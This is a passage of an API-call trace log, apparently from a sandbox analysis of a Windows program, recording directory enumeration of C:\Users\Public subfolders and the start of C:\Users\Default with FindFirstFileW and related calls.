ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0172.369] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.369] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.369] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.369] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0172.369] GetLastError () returned 0x12 [0172.369] FindClose (in: hFindFile=0xa1b738 | out: hFindFile=0xa1b738) returned 1 [0172.369] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b738 [0172.369] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.369] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.369] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0172.369] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0172.369] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.369] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.369] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0172.369] GetLastError () returned 0x12 [0172.369] FindClose (in: hFindFile=0xa1b738 | out: hFindFile=0xa1b738) returned 1 [0172.369] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb207547d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb207547d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0172.369] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0172.369] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.370] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.370] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b818 [0172.370] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0172.370] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.370] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.370] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.370] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0172.370] GetLastError () returned 0x12 [0172.370] FindClose (in: hFindFile=0xa1b818 | out: hFindFile=0xa1b818) returned 1 [0172.370] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b818 [0172.370] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.370] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.370] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0172.370] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0172.370] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.370] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.370] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0172.370] GetLastError () returned 0x12 [0172.370] FindClose (in: hFindFile=0xa1b818 | out: hFindFile=0xa1b818) returned 1 [0172.370] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0172.370] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.370] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.370] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0172.371] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0172.371] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.371] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.371] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.371] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0172.371] GetLastError () returned 0x12 [0172.371] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0172.371] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b738 [0172.371] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.371] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.371] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0172.371] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0172.371] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.371] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.371] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0172.371] GetLastError () returned 0x12 [0172.371] FindClose (in: hFindFile=0xa1b738 | out: hFindFile=0xa1b738) returned 1 [0172.371] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0172.371] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.371] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.371] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0172.371] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0172.372] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.372] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.372] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.372] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0172.372] GetLastError () returned 0x12 [0172.372] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0172.372] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0172.372] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.372] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.372] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0172.372] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0172.372] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.372] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.372] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0172.372] GetLastError () returned 0x12 [0172.372] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0172.372] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0172.372] GetLastError () returned 0x12 [0172.372] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0172.372] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x19f5a4, nSize=0x400 | out: lpBuffer="C:") returned 0x2 [0172.372] GetFileAttributesW (lpFileName="C:\\Users\\Default" (normalized: "c:\\users\\default")) returned 0x13 [0172.372] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x19f5a4, nSize=0x400 | out: lpBuffer="C:") returned 0x2 [0172.372] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x19fb50 | out: 